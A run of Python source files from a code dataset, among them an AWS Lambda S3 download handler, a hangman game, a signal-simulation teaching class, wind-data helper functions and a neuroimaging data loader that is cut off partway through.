print_function\n\nimport base64\nimport urllib\nimport boto3\nimport json\nimport os\n\nprint('Loading function')\n\n\ndef respond(err, res=None):\n return {\n 'statusCode': '400' if err else '200',\n 'body': err.message if err else json.dumps(res),\n 'headers': {\n 'Content-Type': 'application/json',\n },\n }\n\n\ndef lambda_handler(event, context):\n '''Demonstrates a simple HTTP endpoint using API Gateway. You have full\n access to the request and response payload, including headers and\n status code.\n\n To scan a DynamoDB table, make a GET request with the TableName as a\n query string parameter. To put, update, or delete an item, make a POST,\n PUT, or DELETE request respectively, passing in the payload to the\n DynamoDB API as a JSON body.\n '''\n s3 = boto3.resource('s3')\n print(\"Received event: \" + json.dumps(event, indent=2))\n\n operations = {\n 'DELETE': lambda dynamo, x: dynamo.delete_item(**x),\n 'GET': lambda dynamo, x: dynamo.scan(**x),\n 'POST': lambda dynamo, x: dynamo.put_item(**x),\n 'PUT': lambda dynamo, x: dynamo.update_item(**x),\n }\n\n operation = event['httpMethod']\n # if operation in operations:\n # payload = event['queryStringParameters'] if operation == 'GET' else json.loads(event['body'])\n # dynamo = boto3.resource('dynamodb').Table(payload['TableName'])\n # response = dynamo.scan(FilterExpression=Attr(payload['Attribute']).eq(payload['Value']))\n # items = response['Items']\n # # print(items[0][payload['Attribute']])\n # result = {'ImageName': items[0]['ImageName'], 'Content': items[0]['Content'], 'Similarity': items[0]['Similarity']};\n # print(result)\n # # operations[operation](dynamo, payload)\n # return respond(None, list(result))\n # else:\n # return respond(ValueError('Unsupported method \"{}\"'.format(operation)))\n\n if operation in operations:\n if operation == 'GET':\n bucket = s3.Bucket(event['Records'][0]['s3']['bucket']['name'])\n key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key'].encode('utf8'))\n try:\n # response = s3.get_object(Bucket=bucket, Key=key)\n f = open('temp.jpg.txt', 'wb')\n with f as data:\n bucket.download_fileobj(key, data)\n f.close()\n f = open('temp.jpg.txt', 'r')\n with f as myfile:\n content = myfile.read()\n f.close()\n\n os.remove('temp.jpg.txt')\n contentString = base64.b64encode(content)\n # print(\"CONTENT TYPE: \" + response['ContentType'])\n # print(\"Body: \" + response['Body'].read())\n except Exception as e:\n print(e)\n print(\n 'Error getting object {} from bucket {}. Make sure they exist and your bucket is in the same region as this function.'.format(\n key, bucket))\n raise e\n\n # byteArray = base64.b64encode(response['Body'].read())\n # content = byteArray.decode(\"utf-8\");\n result = {\"ImageName\": key, \"Content\": contentString}\n return respond(None, result)\n # elif operation == 'POST':\n # payload = event['body']\n # # print(payload)\n # dynamo = boto3.resource('dynamodb').Table(payload['TableName'])\n # response = dynamo.put_item(\n # Item={\n # 'ImageName': payload['ImageName'],\n # 'Content': payload['Content'],\n # }\n # )\n # return respond(None, response);\n # elif operation == \"DELETE\":\n # payload = event['body']\n # dynamo = boto3.resource('dynamodb').Table(payload['TableName'])\n # response = dynamo.delete_item(\n # Key={\n # 'ImageName': payload['ImageName']\n # }\n # )\n # return respond(None, response);\n else:\n return respond(ValueError('Unsupported PUT \"{}\"'.format(operation)));\n else:\n return respond(ValueError('Unsupported method \"{}\"'.format(operation)))","sub_path":"FaceRecognition_Server/src/org/lambda/ImageHandle/serviceDownload_file.py","file_name":"serviceDownload_file.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"373111309","text":"\"\"\"Test Gathering of Prefixes from IRR Data.\"\"\"\n\n# Standard Library\nimport sys\nimport asyncio\n\n# Project\nfrom routingpolicy.irr import get_prefixes\nfrom routingpolicy.log import log\n\n\nasync def _run_test(asn: str) -> None:\n for family in (4, 6):\n prefixes = get_prefixes(asn, family)\n log.info(\"IPv{} prefixes for {}:\", str(family), f\"AS{asn}\")\n async for prefix in prefixes:\n log.info(prefix)\n\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) > 1:\n asn = sys.argv[1].replace(\"AS\", \"\")\n else:\n asn = \"14525\"\n task = _run_test(asn)\n try:\n asyncio.run(task)\n except KeyboardInterrupt:\n task.close()\n log.critical(\"Stopped\")\n","sub_path":"tests/test_irr.py","file_name":"test_irr.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"160388221","text":"class HangmanOyunu:\n aranan_kelime = \"\"\n dogru_harf = list()\n yanlis = 0\n\n def kelime_yaz(self, word_list):\n for character in self.dogru_harf:\n print(character, end=\" \")\n\n def harf_al(self):\n self.aranan_kelime = input(\"Bulunacak kelimeyi yazın: \")\n self.dogru_harf = ['_' for i in range(len(self.aranan_kelime))]\n\n def harf_karsilastir(self, tahmin):\n sayac = 0\n for harf in self.aranan_kelime:\n if tahmin == harf:\n self.dogru_harf[sayac] = harf\n sayac += 1\n\n def oyun_basladi(self):\n durum = True\n while durum:\n print(\"Retries:\", (len(self.aranan_kelime))-self.yanlis)\n harf_tahmin = input(\"Senin tahminin:\")\n self.harf_karsilastir(harf_tahmin)\n self.kelime_yaz(self.dogru_harf)\n self.oyun_bitti()\n if len(self.aranan_kelime) - self.yanlis == 1:\n durum = False\n self.yanlis = self.yanlis + 1\n if harf_tahmin in self.aranan_kelime:\n durum = True\n self.yanlis -= 1\n else:\n print(\"\\nHakkın Bitti!!!\")\n quit()\n\n def oyun_bitti(self):\n if \"_\" not in self.dogru_harf:\n print(\"\\nOyun Bitti, Görüşürüz\")\n quit()\n\noyun = HangmanOyunu()\noyun.harf_al()\noyun.oyun_basladi()\n\n\n","sub_path":"Homeworks/HW4.py","file_name":"HW4.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"551596551","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n##################################################################\n# Asignatura: Sistemas de Comunicación ####\n# Tema 1: Introducción a la teoría de la señal y los sistemas ####\n# Ejercicio 1.1: Simulación de señales y sistemas. ####\n##################################################################\n# ####\n# Autor: Fernando Rosa González ####\n# Fecha: Abril 2015 ####\n# Area: Teorí­a de la Señal y Comunicaciones ####\n# ####\n# Las unidades se muestran entre corchetes [] ####\n##################################################################\n# ####\n# Descripción: Implementación de la clase de simulación de ####\n# señales y sistemas. ####\n# ####\n##################################################################\nimport pylab as pyl\n\n\nclass Signal:\n # La clase Signal permite implementar la simulación de señales\n # estableciendo la ventana de análisis en base a tres parámetros,\n # el instante inicial, el instante final y la frecuencia de muestreo.\n t1 = 0.0 # Instante inicial [s]\n t2 = 0.0 # Instante final [s]\n fm = 44100.0 # Frecuencia de muestreo [mue/s]\n T = 0. # Periodo de simulación [s]\n tau = 0. # Intervalo de muestreo [s]\n N = 0. # Número total de muestras [mue]\n # Tamaño de la ventana de análisis del espectrograma [mue]\n tam_ven = 1024\n res_frec = 0. # Resolución en frecuencia [Hz]\n tiempo = pyl.array([]) # Array de tiempos [s]\n frec = pyl.array([]) # Array de frecuencias centradas [Hz]\n frec_pos = pyl.array([]) # Array de frecuencias positivas [Hz]\n ss = pyl.array([]) # Array de la señal [unidades de la señal]\n ff = pyl.array([]) # Array del espectro [unidades de la señal]\n logpl = False # Estado del plot del espectro\n\n def __init__(self, t1=0., t2=1., fm=44100.):\n # Los objetos de la clase Signal tienen tres parámetros básicos.\n # t1: instante inicial [s]\n # t2: instante final [s]\n # fm: frecuencia de muestreo [mue/s]\n self.t1 = t1\n self.t2 = t2\n self.fm = fm\n self.T = t2 - t1\n self.tau = 1.0 / self.fm\n self.N = self.fm * self.T\n self.tiempo = pyl.arange(t1, t2, self.tau)\n self.tam_ven = self.N\n self.res_frec = fm / self.tam_ven\n self.frec = pyl.arange(-self.fm / 2., self.fm / 2., self.res_frec)\n self.frec = pyl.concatenate(\n (self.frec[self.N / 2:self.N], self.frec[0:self.N / 2]))\n self.frec_pos = pyl.arange(0., self.fm, self.res_frec)\n self.ss = pyl.zeros(self.N)\n self.ff = pyl.zeros(self.N)\n return(None)\n\n def step(self, amp_antes=0., amp_desp=1., pos=0.0):\n u'''\n Señal escalon con 'amp_antes' para los tiempos anteriores a pos,\n 'amp_desp' para los tiempos posteriores a pos y el valor medio en\n el tiempo 'pos'\n '''\n self.ss = pyl.zeros(self.tiempo.size)\n for n, x in enumerate(self.tiempo):\n if(x > pos):\n self.ss[n] = amp_desp\n elif (x < pos):\n self.ss[n] = amp_antes\n else:\n self.ss[n] = (amp_antes + amp_desp) / 2.\n self.ff = pyl.fft(self.ss) / self.N\n return(None)\n\n def tone(self, fr=1000., amp=1., fas=0.0):\n u'''\n Señal tono de frecuencia fr, amplitud amp, y fase fas\n '''\n self.ss = amp * pyl.cos(2.0 * pyl.pi * fr * self.tiempo + fas)\n self.ff = pyl.fft(self.ss) / self.N\n return(None)\n\n def white_noise(self, med=0.0, sig=1.0):\n u'''\n White noise signal with mean med and sigma sig\n '''\n self.ss = pyl.random.normal(med, sig, self.tiempo.size)\n self.ff = pyl.fft(self.ss) / self.N\n return(None)\n\n def gabor(self, amp=1.0, fr=1000., pos=0.0, sig=1.0, fas=0.0):\n tt = (self.tiempo - pos) / sig\n self.tone(fr, 1.0, fas)\n self.ss *= amp * pyl.exp(-tt * tt)\n self.ff = pyl.fft(self.ss) / self.N\n return(None)\n\n def pulse(self, amp=1.0, pos=0.5, wid=0.5):\n u'''\n Pulse signal with amplitude, amp, center in time pos, and width, wid.\n '''\n self.ss = pyl.zeros(self.tiempo.size)\n for n, x in enumerate(self.tiempo):\n if((x > pos - wid / 2.) and (x < pos + wid / 2.)):\n self.ss[n] = amp\n elif ((x < pos - wid / 2.) or (x > pos + wid / 2.)):\n self.ss[n] = 0.0\n else:\n self.ss[n] = amp / 2.\n self.ff = pyl.fft(self.ss) / self.N\n return(None)\n u'''\n From here ahead are the operators definitions.\n '''\n\n def __add__(self, simsig):\n if(type(simsig) == int or type(simsig) ==\n float or type(simsig) == complex):\n resultado = Signal(self.t1, self.t2, self.fm)\n resultado.ss = self.ss + simsig\n else:\n if (self.t1 != simsig.t1) or \\\n (self.t1 != simsig.t1) or \\\n (self.t1 != simsig.t1):\n print(u\"No se pueden sumar señales con \"\n u\"diferentes parámetros de simulación\")\n return\n resultado = Signal(self.t1, self.t2, self.fm)\n resultado.ss = self.ss + simsig.ss\n resultado.ff = pyl.fft(resultado.ss) / self.N\n return(resultado)\n\n __radd__ = __add__\n\n def __sub__(self, simsig):\n if(type(simsig) == int or type(simsig)\n == float or type(simsig) == complex):\n resultado = Signal(self.t1, self.t2, self.fm)\n resultado.ss = self.ss - simsig\n else:\n if (self.t1 != simsig.t1) or \\\n (self.t1 != simsig.t1) or \\\n (self.t1 != simsig.t1):\n print(\n u\"No se pueden sumar señales con diferentes parámetros de\"\n u\" simulación\")\n return\n resultado = Signal(self.t1, self.t2, self.fm)\n resultado.ss = self.ss - simsig.ss\n resultado.ff = pyl.fft(resultado.ss) / self.N\n return(resultado)\n\n def __neg__(self):\n resultado = Signal(self.t1, self.t2, self.fm)\n resultado.ss = -self.ss\n resultado.ff = -self.ff\n return(resultado)\n\n def __mul__(self, simsig):\n if(type(simsig) == int or type(simsig)\n == float or type(simsig) == complex):\n resultado = Signal(self.t1, self.t2, self.fm)\n resultado.ss = self.ss * simsig\n else:\n if (self.t1 != simsig.t1) or \\\n (self.t1 != simsig.t1) or \\\n (self.t1 != simsig.t1):\n print(\n u\"No se pueden multiplicar señales con diferentes\"\n u\" parámetros de simulación\")\n return\n resultado = Signal(self.t1, self.t2, self.fm)\n resultado.ss = self.ss * simsig.ss\n resultado.ff = pyl.fft(resultado.ss) / self.N\n return (resultado)\n\n __rmul__ = __mul__\n u'''\n From here ahead are the painting methods\n '''\n\n def pinta(self, titulo=u'sin titulo', texto=u' ', fxlim=None, xlim=None,\n ylim=None, fylim=None):\n x = self.tiempo\n y = self.ss\n font = {'family': 'serif',\n 'color': 'darkred',\n 'weight': 'normal',\n 'size': 16,\n }\n f, (ax1, ax2) = pyl.subplots(2, 1)\n ax1.plot(x, y, 'b', label=texto)\n ax1.plot([min(x), max(x), pyl.nan, 0.0, 0.0], [\n 0.0, 0.0, pyl.nan, min(y) - 0.1, max(y) + 0.1], 'k--')\n ax1.set_title(titulo, fontdict=font)\n # text(2, 0.65, texto, fontdict=font)\n ax1.set_xlabel('time [s]', fontdict=font)\n ax1.set_ylabel('voltage [V])', fontdict=font)\n ax1.grid(True)\n ax1.set_ylim((min(y) - 0.1, max(y) + 0.1))\n ax1.legend()\n # if(modo=='pos'):\n # off=self.ff;\n # else:\n # off=array(list(self.ff[self.N/2:self.N])+list(self.ff[0:self.N/2]))\n ax2.set_xlabel('frequency [Hz]', fontdict=font)\n if fxlim is not None:\n ax2.set_xlim(fxlim)\n if xlim is not None:\n ax1.set_xlim(xlim)\n if fylim is not None:\n ax2.set_ylim(fylim)\n if ylim is not None:\n ax1.set_ylim(ylim)\n if self.logpl is True:\n ax2.plot(self.frec, 20.0 * pyl.log10(abs(self.ff)\n + pyl.spacing(0)))\n ax2.set_ylabel('power [dBV]', fontdict=font)\n else:\n ax2.plot(self.frec, abs(self.ff))\n ax2.set_ylabel('Abs Amplitude [V]', fontdict=font)\n ax2.grid(True)\n # pyl.show()\n\n return(None)\n\n def specgram(self, tamven=tam_ven):\n self.tam_ven = tamven\n pyl.specgram(self.ss, self.tam_ven, self.fm)\n pyl.show()\n return(None)\n\n\nclass LTI_System:\n fm = 44100.0 # Frecuencia de muestreo [mue/s]\n T = 0. # Periodo de simulación [s]\n N = 0. # Número total de muestras [mue]\n res_frec = 0. # Resolución en frecuencia [Hz]\n tiempo = pyl.array([]) # Array de tiempos [s]\n frec = pyl.array([]) # Array de frecuencias centradas [Hz]\n # Respuesta impulsiva del sistema [Cociente unidades de salida/entrada]\n h = pyl.array([])\n # Función de transferencia [Cociente unidades de salida/entrada]\n H = pyl.array([])\n\n def __init__(self, T=1.0, fm=44100.0):\n self.fm = fm\n self.T = T\n self.N = T * fm\n self.Tau = 1 / fm\n self.tiempo = pyl.arange(0, self.T, self.Tau)\n self.res_frec = self.fm / self.N\n self.frec = pyl.arange(-self.fm / 2., self.fm / 2., self.res_frec)\n self.frec = pyl.concatenate(\n (self.frec[self.N / 2:self.N], self.frec[0:self.N / 2]))\n self.h = pyl.zeros(self.N)\n self.H = pyl.zeros(self.N, dtype='complex')\n return(None)\n\n def retraso_temporal(self, t0=0.1):\n u''' Sistema de retraso temporal\n '''\n self.H = pyl.exp(-1.0j * t0 * 2.0 * pyl.pi * self.frec)\n self.h = pyl.ifft(self.H * self.N).real\n return(None)\n\n def filtroPasaBajoIdeal(self, frcor=1000):\n for n, frec in enumerate(self.frec):\n if abs(frec) < frcor:\n self.H[n] = 1\n elif abs(frec) > frcor:\n self.H[n] = 0\n elif frec == frcor:\n self.H[n] = 0.5 ** 0.5\n\n self.h = pyl.ifft(self.H * self.N).real\n\n def __call__(self, ss):\n out = Signal(t1=ss.t1, t2=ss.t2, fm=ss.fm)\n out.ff = ss.ff * self.H\n out.ss = pyl.ifft(out.ff * out.N).real\n return(out)\n\n def filtroPasivoPasaBajos(self, R, L, C):\n u\"\"\"Filtro nº 7\"\"\"\n w = 2 * pyl.pi * self.frec\n self.H = 1 / ((R * 1j * w * C) - ((w ** 2) * C * L) + 1)\n # self.H = (1 / 1j * w * C)*(1 / (R + 1j*w*L + (1 / 1j * w * C)))\n self.h = pyl.ifft(self.H * self.N)\n return(None)\n","sub_path":"simdaq.py","file_name":"simdaq.py","file_ext":"py","file_size_in_byte":11613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"419308482","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nExtra Functions for data manipulation\r\n@author: joeyp\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndef timestamp_col(df):\r\n \"\"\"\r\n This function takes seperated time columns and combines them into a \r\n pandas.Timestamp() and replaces the seperated time columns with one \r\n \"TIMESTAMP\" column.\r\n\r\n Parameters\r\n ----------\r\n df : pandas.DataFrame()\r\n Dataframe that contains seperated time columns. See drop_col below.\r\n\r\n Returns\r\n -------\r\n df : pandas.DataFrame()\r\n Same dataframe as about but now with one time column: \"TIMESTAMP\"\r\n\r\n \"\"\"\r\n drop_col = [\"YYYY\", \"MM\", \"DD\", \"Hr\", \"Min\", \"Sec\"]\r\n timestamp_lst = list(np.full(len(df), np.nan))\r\n for t in range(len(df)):\r\n timestamp_lst[t] = pd.Timestamp(str(df[\"YYYY\"][t])+\"-\"+str(df[\"MM\"][t])+\"-\"+str(df[\"DD\"][t]) +\" \"+str(df[\"Hr\"][t])+\":\"+str(df[\"Min\"][t])+\":\"+str(df[\"Sec\"][t]),freq = \".1S\")\r\n \r\n df.insert(0, column= \"TIMESTAMP\", value = timestamp_lst)\r\n df = df.drop(drop_col, axis=1)\r\n \r\n return df\r\n\r\ndef scalar_wind_tilt_correction(u_i, v_i, theta = 135):\r\n \"\"\"\r\n This function takes U and V wind components and will correct by a \r\n specified amount. Default is 135 due to SERDP Flux tower.\r\n \r\n Inputs:\r\n u_i - the U wind component \r\n v_i - the V wind component \r\n theta - angle of desired correction in degrees (default 135 due to the\r\n march 2019 flux tower)\r\n \r\n Outputs:\r\n u_f - corrected U wind component\r\n v_f - corrected V wind component\r\n \"\"\"\r\n \r\n u_f = u_i * np.cos(theta*np.pi/180) - v_i * np.sin(theta*np.pi/180)\r\n v_f = u_i * np.sin(theta*np.pi/180) + v_i * np.cos(theta*np.pi/180)\r\n \r\n return u_f, v_f\r\n \r\ndef df_wind_tilt_correction(df, theta = 135, U_col = \"U(19m)\", V_col = \"V(19m)\"):\r\n \"\"\"\r\n This function combined with the 'scalar_wind_tilt_correction' function will\r\n correct a data frame with U or V columns and apply the angle of correction.\r\n \r\n Inputs:\r\n df - pandas dataframe containing the U and V columns\r\n theta - angle of desired correction in degrees (default \r\n +135 for SERDP March 2019 Flux tower)\r\n U_col - the column name containing the U wind components ( default \r\n \"U(19)\" for SERDP March 2019 Flux tower)\r\n V_col - the column name containing the V wind components ( default \r\n \"U(19)\" for SERDP March 2019 Flux tower)\r\n \r\n Outputs:\r\n df - The pandas dataframe with the corrected wind columns\r\n \"\"\"\r\n u_list, v_list = np.full(len(df), np.nan), np.full(len(df), np.nan)\r\n for i in range(len(df)):\r\n u_list[i], v_list[i] = scalar_wind_tilt_correction(float(df[U_col][i]),\\\r\n float(df[V_col][i]),theta)\r\n \r\n df[U_col], df[V_col] = list(u_list), list(v_list)\r\n\r\n return df\r\n\r\ndef formater(df,columns):\r\n \"\"\"\r\n This function takes a dataframe with timestamp columns and data columns and \r\n formats them so that each column looks like this: ##.## or -#.##\r\n \r\n input:\r\n df - pandas dataframe with the separated time columns and data columns\r\n columns - the columns that are not the time columns but are desired to \r\n be formated\r\n output:\r\n df - the formated dataframe \r\n \"\"\"\r\n \r\n for col in columns:\r\n lst_df=list(df[str(col)])\r\n for i in range(len(lst_df)):\r\n lst_df[i] = \"{:2.2f}\".format(float(lst_df[i])).zfill(5)\r\n df[col]= lst_df\r\n \r\n year_lst, month_lst,day_lst= list(df[\"YYYY\"]), list(df[\"MM\"]), list(df[\"DD\"])\r\n hour_lst, min_lst, second_lst = list(df[\"Hr\"]), list(df[\"Min\"]), list(df[\"Sec\"])\r\n for i in range(len(df)):\r\n year_lst[i] = \"{:.0f}\".format(float(year_lst[i])).zfill(4)\r\n month_lst[i] = \"{:.0f}\".format(float(month_lst[i])).zfill(2)\r\n day_lst[i] = \"{:.0f}\".format(float(day_lst[i])).zfill(2)\r\n hour_lst[i] = \"{:.0f}\".format(float(hour_lst[i])).zfill(2)\r\n min_lst[i] = \"{:.0f}\".format(float(min_lst[i])).zfill(2)\r\n second_lst[i]= \"{:.1f}\".format(float(second_lst[i])).zfill(4)\r\n \r\n df[\"YYYY\"] = year_lst\r\n df[\"MM\"] = month_lst\r\n df[\"DD\"] = day_lst\r\n df[\"Hr\"] = hour_lst\r\n df[\"Min\"] = min_lst\r\n df[\"Sec\"] = second_lst\r\n \r\n return df\r\n\r\ndef timestamp_correction(df):\r\n \"\"\"\r\n This function takes a df with a messed up timestamp column and creates one \r\n with full timestamps \r\n input:\r\n df - the pandas dataframe that has the messed up timestamp columns\r\n \r\n output:\r\n df - the dataframe with the fixed timestamp column\r\n \"\"\"\r\n \r\n time=list(df[\"TIMESTAMP\"])\r\n ### initialize the t_d\r\n for i in range(len(time)):\r\n if len(time[i]) > 8:\r\n t_d= time[i].replace(\":\",\" \").split()[:2]\r\n break\r\n \r\n for i in range(len(time)):\r\n\r\n if len(time[i]) > 8:\r\n t_d= time[i].replace(\":\",\" \").split()[:2]\r\n\r\n if i !=len(df)-1 and len(time[i])>8:\r\n t_s = time[i+1].split(\".\")[0]+\".0\"\r\n\r\n time[i] = t_d[0] +\" \"+t_d[1]+\":\"+t_s \r\n\r\n else:\r\n time[i]= t_d[0] +\" \"+ t_d[1]+\":\"+time[i]\r\n\r\n df[\"TIMESTAMP\"]=time\r\n df.drop(df.tail(1).index,inplace=True)\r\n df[\"TIMESTAMP\"] = pd.to_datetime(df['TIMESTAMP']) \r\n \r\n return df\r\n\r\ndef repeat(df):\r\n \r\n \"\"\"\r\n This function takes a df with a \"TIMESTAMP\" column and checks for \r\n repeated timestamps. If it finds repeats, it will return the index of all the \r\n repeated times and print out how many and what times it spans. If it \r\n doesn't find one it will return an index of zero's \r\n \r\n input:\r\n df - pandas dataframe to be checked\r\n \r\n output:\r\n repeat_index - A list of the index's that have repeated times in this\r\n format: [[],[]] \r\n \"\"\"\r\n #### Check for repeated times\r\n lst=list(df[\"TIMESTAMP\"])\r\n u= np.unique(lst)\r\n if len(u)!=len(df):\r\n \r\n repeat_index, repeat_1, repeat_2 = [], [], []\r\n for i in range(len(u)):\r\n ind = df.index[df[\"TIMESTAMP\"]==u[i]].tolist()\r\n if len(ind)>1:\r\n repeat_index.append(ind)\r\n repeat_1.append(df[\"TIMESTAMP\"][ind[0]])\r\n repeat_2.append(df[\"TIMESTAMP\"][ind[-1]])\r\n if len(repeat_index)>0:\r\n print(\"Yikes! Number of repeated times: \",len(repeat_index),)\r\n print(\"Start:\", repeat_index[0],\"End:\",repeat_index[-1])\r\n print(\"Time stamp repeats:\",repeat_1[0],\"-\", repeat_2[-1])\r\n \r\n return repeat_index\r\n else:\r\n print(\"Hurray! No time Repeats\")\r\n \r\n return [[0],[0]]\r\n \r\ndef timestamp_matcher(df_names, file_num):\r\n \"\"\"\r\n Takes a list of dataframes, prints the start and ends of all the files,\r\n then find the earliest timestamp that all dataframes have. Returns the \r\n start and end time that can be used to trim the dataframes\r\n \r\n input: \r\n df_names - list of dataframes \r\n file_num - list of names for the files, used only for the print\r\n \r\n output:\r\n time-start - the starting timestampt that works with all files \r\n time-end - the ending timestampt that works with all files\r\n \"\"\"\r\n \r\n min_lst, max_lst =[],[]\r\n\r\n for i in df_names:\r\n min_lst.append(i[\"TIMESTAMP\"].min())\r\n max_lst.append(i[\"TIMESTAMP\"].max())\r\n\r\n fmt = \"File: {} | Start: {} | End: {}\" \r\n for i in range(len(min_lst)):\r\n print(fmt.format(file_num[i], min_lst[i],max_lst[i] ))\r\n\r\n time_start, time_end = max(min_lst), min(max_lst) \r\n print()\r\n print(\"Start timestamp Pulled:\",time_start, \"| End Timestamp Pulled:\",\\\r\n time_end)\r\n\r\n finder = ['5T', '30S','S','.1S']\r\n for n in range(len(finder)):\r\n test_start=list(pd.date_range(start=time_start, end=time_end,\\\r\n freq = finder[n]))\r\n test_end = test_start[::-1]\r\n time=[]\r\n for t in range(len(test_start)): \r\n for df in range(len(df_names)):\r\n if test_start[t] not in list(df_names[df][\"TIMESTAMP\"]):\r\n break\r\n else:\r\n time.append(test_start[t])\r\n break\r\n if len(time)==1:\r\n if t ==0 or n == len(finder)-1:\r\n time_start = test_start[t]\r\n else:\r\n time_start = test_start[t-1]\r\n break\r\n\r\n\r\n time=[]\r\n for t in range(len(test_end)):\r\n for df in range(len(df_names)):\r\n if test_end[t] not in list(df_names[df][\"TIMESTAMP\"]):\r\n break\r\n else:\r\n time.append(test_end[t])\r\n break\r\n if len(time)==1:\r\n if t ==0 or n == len(finder)-1:\r\n time_end = test_end[t]\r\n else:\r\n time_end = test_end[t-1]\r\n break\r\n print()\r\n print(\"Timestamp that can actually be used to trim due to gaps:\")\r\n print(\"Start Time:\", str(time_start), \"| End Time:\", str(time_end))\r\n \r\n return time_start, time_end","sub_path":"Unused_Data_Functions.py","file_name":"Unused_Data_Functions.py","file_ext":"py","file_size_in_byte":9429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"271533916","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright 2017 Division of Medical Image Computing, German Cancer Research Center (DKFZ)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nCode to load data and to create batches of 2D slices from 3D images.\n\nInfo:\nDimensions order for DeepLearningBatchGenerator: (batch_size, channels, x, y, [z])\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nfrom os.path import join\nimport random\nfrom time import sleep\nimport numpy as np\nimport nibabel as nib\n\nfrom batchgenerators.transforms.color_transforms import ContrastAugmentationTransform, BrightnessMultiplicativeTransform\nfrom batchgenerators.transforms.resample_transforms import ResampleTransform\nfrom batchgenerators.transforms.noise_transforms import GaussianNoiseTransform\nfrom batchgenerators.transforms.spatial_transforms import SpatialTransform, FlipVectorAxisTransform\nfrom batchgenerators.transforms.spatial_transforms import MirrorTransform\nfrom batchgenerators.transforms.crop_and_pad_transforms import PadToMultipleTransform\nfrom batchgenerators.transforms.sample_normalization_transforms import ZeroMeanUnitVarianceTransform\nfrom batchgenerators.transforms.abstract_transforms import Compose\nfrom batchgenerators.dataloading.multi_threaded_augmenter import MultiThreadedAugmenter\nfrom batchgenerators.dataloading.data_loader import SlimDataLoaderBase\n\nfrom tractseg.libs.system_config import SystemConfig as C\nfrom tractseg.libs import dataset_utils\nfrom tractseg.libs import exp_utils\n\n\ndef load_training_data(Config, subject):\n \"\"\"\n Load data and labels for one subject from the training set. Cut and scale to make them have\n correct size.\n\n :param Config: config class\n :param subject: subject id (string)\n :return:\n \"\"\"\n for i in range(20):\n try:\n if Config.FEATURES_FILENAME == \"12g90g270g\":\n # if np.random.random() < 0.5:\n # data = nib.load(join(C.DATA_PATH, self.Config.DATASET_FOLDER, subjects[subject_idx], \"270g_125mm_peaks.nii.gz\")).get_data()\n # else:\n # data = nib.load(join(C.DATA_PATH, self.Config.DATASET_FOLDER, subjects[subject_idx], \"90g_125mm_peaks.nii.gz\")).get_data()\n\n rnd_choice = np.random.random()\n if rnd_choice < 0.33:\n data = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"270g_125mm_peaks.nii.gz\")).get_data()\n elif rnd_choice < 0.66:\n data = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"90g_125mm_peaks.nii.gz\")).get_data()\n else:\n data = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"12g_125mm_peaks.nii.gz\")).get_data()\n elif Config.FEATURES_FILENAME == \"T1_Peaks270g\":\n peaks = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"270g_125mm_peaks.nii.gz\")).get_data()\n t1 = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"T1.nii.gz\")).get_data()\n data = np.concatenate((peaks, t1), axis=3)\n elif Config.FEATURES_FILENAME == \"T1_Peaks12g90g270g\":\n rnd_choice = np.random.random()\n if rnd_choice < 0.33:\n peaks = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"270g_125mm_peaks.nii.gz\")).get_data()\n elif rnd_choice < 0.66:\n peaks = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"90g_125mm_peaks.nii.gz\")).get_data()\n else:\n peaks = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"12g_125mm_peaks.nii.gz\")).get_data()\n t1 = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, \"T1.nii.gz\")).get_data()\n data = np.concatenate((peaks, t1), axis=3)\n else:\n data = nib.load(\n join(C.DATA_PATH, Config.DATASET_FOLDER, subject, Config.FEATURES_FILENAME + \".nii.gz\")).get_data()\n\n break\n except IOError:\n exp_utils.print_and_save(Config, \"\\n\\nWARNING: Could not load file. Trying again in 20s (Try number: \" + str(i) + \").\\n\\n\")\n exp_utils.print_and_save(Config, \"Sleeping 20s\")\n sleep(20)\n data = np.nan_to_num(data) # Needed otherwise not working\n data = dataset_utils.scale_input_to_unet_shape(data, Config.DATASET, Config.RESOLUTION) # (x, y, z, channels)\n\n seg = nib.load(join(C.DATA_PATH, Config.DATASET_FOLDER, subject, Config.LABELS_FILENAME + \".nii.gz\")).get_data()\n seg = np.nan_to_num(seg)\n if Config.LABELS_FILENAME not in [\"bundle_peaks_11_808080\", \"bundle_peaks_20_808080\", \"bundle_peaks_808080\",\n \"bundle_masks_20_808080\", \"bundle_masks_72_808080\", \"bundle_peaks_Part1_808080\",\n \"bundle_peaks_Part2_808080\", \"bundle_peaks_Part3_808080\", \"bundle_peaks_Part4_808080\"]:\n if Config.DATASET in 